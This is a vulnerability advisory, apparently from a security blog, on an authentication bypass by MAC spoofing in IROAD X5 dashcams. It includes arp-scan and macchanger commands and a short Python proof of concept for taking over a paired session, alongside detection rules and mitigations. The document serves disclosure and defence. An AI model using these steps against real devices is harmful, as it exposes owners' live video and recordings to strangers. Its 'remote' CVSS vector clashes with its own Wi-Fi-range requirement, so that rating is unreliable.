CVE-2025-30110

Executive Summary

CVE-2025-30110 exposes a critical authentication bypass vulnerability in IROAD X5 dashcam devices. The device pairing mechanism relies exclusively on MAC address verification, which can be trivially bypassed by an attacker who spoofs the MAC address of an already-paired device. This allows unauthorized access to the dashcam's live feed, configuration settings, and potentially the vehicle's internal network if the dashcam is connected to an onboard infotainment system. The vulnerability is unpatched at the time of analysis, and a proof-of-concept exists publicly.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a hardware/firmware-level issue in the IROAD X5 dashcam.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – The attacker can exploit this remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; MAC spoofing is straightforward.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability affects only the dashcam.
• Confidentiality (C): High (H) – Full access to live video and stored footage.
• Integrity (I): High (H) – Ability to modify device settings and firmware.
• Availability (A): High (H) – Potential to disable the device or disrupt its operation.

Threat Level: Critical. The low complexity and network-based attack vector make this highly exploitable in real-world scenarios, especially in parking lots or public areas.

Deep Dive & Mechanics

The IROAD X5 dashcam uses a wireless (Wi-Fi) pairing mechanism to connect with a mobile app. The pairing process is designed to authenticate a user's device by verifying its MAC address against a whitelist of approved devices. However, the implementation has a fundamental flaw: it does not use any cryptographic challenge-response or session-based authentication. Instead, it simply checks if the connecting device's MAC address matches one of the pre-approved addresses.

An attacker can perform an ARP scan on the local network to discover the MAC address of a legitimate paired device (e.g., the owner's smartphone). Once the MAC address is obtained, the attacker can spoof their own device's MAC address to match the legitimate one. The dashcam will then accept the connection, granting the attacker full access to the dashcam's interface, including live video, recorded footage, settings, and potentially the ability to update firmware.

Root Cause: The vulnerability stems from a design flaw in the authentication mechanism. The use of MAC address as the sole authentication factor is inherently insecure because MAC addresses can be easily spoofed. This is a classic example of CWE-290: Authentication Bypass by Spoofing.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable logic. The following pseudo-code illustrates the flawed authentication:

Vulnerable Code (Pseudo):

def authenticate_device(device_mac):
    # Whitelist of approved MAC addresses
    approved_macs = ["AA:BB:CC:DD:EE:FF", "11:22:33:44:55:66"]
    if device_mac in approved_macs:
        return True  # Grant full access
    else:
        return False

Patched Code (Hypothetical):

import hmac
import hashlib

def authenticate_device(device_mac, challenge, response):
    # Generate a random challenge
    # Store the shared secret during initial pairing
    secret = get_shared_secret(device_mac)
    expected_response = hmac.new(secret, challenge, hashlib.sha256).hexdigest()
    if hmac.compare_digest(response, expected_response):
        return True
    else:
        return False

The patched version would require a cryptographic handshake using a shared secret established during the initial pairing, making MAC spoofing insufficient for authentication.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• IROAD X5 dashcam within Wi-Fi range.
• A device capable of MAC address spoofing (e.g., laptop with Kali Linux, or a rooted Android phone).
• ARP scanning tool (e.g., arp-scan, nmap).

Steps:

1. Scan for the dashcam's network: The IROAD X5 typically creates a Wi-Fi network named "IROAD_XXXX". Connect to it.
2. Discover paired MAC addresses: Use ARP scanning to find devices on the network.

   sudo arp-scan --localnet
   

   Look for the MAC address of the legitimate paired device (e.g., the owner's phone).
3. Spoof your MAC address: Change your network interface's MAC address to match the discovered one.

   sudo ifconfig wlan0 down
   sudo macchanger -m AA:BB:CC:DD:EE:FF wlan0
   sudo ifconfig wlan0 up
   

4. Connect to the dashcam: Use the IROAD mobile app or a direct HTTP client to access the dashcam's web interface (typically at 192.168.1.1).
5. Exploit: You now have full access to the dashcam's live feed, settings, and stored footage.

Proof-of-Concept (Python):

import subprocess
import requests

# Step 1: Scan for paired MAC
scan_result = subprocess.check_output(["arp-scan", "--localnet"]).decode()
# Parse the output to find the target MAC (e.g., "AA:BB:CC:DD:EE:FF")
target_mac = "AA:BB:CC:DD:EE:FF"

# Step 2: Spoof MAC
subprocess.run(["ifconfig", "wlan0", "down"])
subprocess.run(["macchanger", "-m", target_mac, "wlan0"])
subprocess.run(["ifconfig", "wlan0", "up"])

# Step 3: Access dashcam
response = requests.get("http://192.168.1.1/live")
print(response.text)

Blue Team (Defender)

Detection:

• Monitor for multiple devices claiming the same MAC address on the network.
• Use Wi-Fi intrusion detection systems (WIDS) to flag MAC spoofing attempts.
• Enable logging on the dashcam (if available) to track authentication attempts.

Mitigation:

• Isolate the dashcam on a separate VLAN with strict firewall rules.
• Disable Wi-Fi when not in use.
• Use a VPN or other encrypted tunnel for remote access.
• Advocate for a firmware update from IROAD that implements cryptographic authentication.

Indicators of Compromise (IOCs)

• Network Traffic: Unusual ARP requests/replies from a single MAC address that changes behavior.
• Logs: Multiple failed authentication attempts (if logging is enabled) followed by a successful one from a different MAC.
• Device Behavior: Dashcam settings changed without user interaction, or live feed accessed from an unknown device.
• MAC Address: The spoofed MAC address of the legitimate paired device (e.g., AA:BB:CC:DD:EE:FF).

Detection Engineering

YARA Rule

rule CVE_2025_30110_IROAD_X5_Auth_Bypass {
    meta:
        description = "Detects MAC spoofing attempts against IROAD X5 dashcam"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30110"
    strings:
        $arp_request = { 08 06 00 01 08 00 06 04 00 01 }
        $mac_spoof = /([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})/
    condition:
        $arp_request and #mac_spoof > 1
}

Sigma Rule

title: IROAD X5 MAC Spoofing Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple ARP requests from the same MAC address, indicating potential spoofing.
author: Valters IT
date: 2025/04/01
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 2100001
    condition: selection
falsepositives:
    - Legitimate network scanning tools
level: high

Suricata Rule

alert arp any any -> any any (msg:"CVE-2025-30110 - IROAD X5 MAC Spoofing Attempt"; arp.opcode:1; arp.src.ip:!0.0.0.0; arp.dst.ip:!0.0.0.0; threshold:type both, track by_src, count 5, seconds 60; sid:2100001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Wi-Fi: If not required, turn off the dashcam's Wi-Fi feature.
2. Network Segmentation: Place the dashcam on a separate VLAN with no access to critical systems.
3. Monitor Network: Use the provided detection rules to identify potential exploitation attempts.

Long-Term Fix:

• Firmware Update: IROAD must release a firmware update that implements a cryptographic pairing mechanism (e.g., using a shared secret or public key infrastructure).
• User Awareness: Educate users about the risks of using default Wi-Fi passwords and the importance of keeping firmware updated.

Workaround:

• Use a secondary authentication layer, such as a VPN, to access the dashcam remotely.
• Change the default Wi-Fi password to a strong, unique one.

Valters IT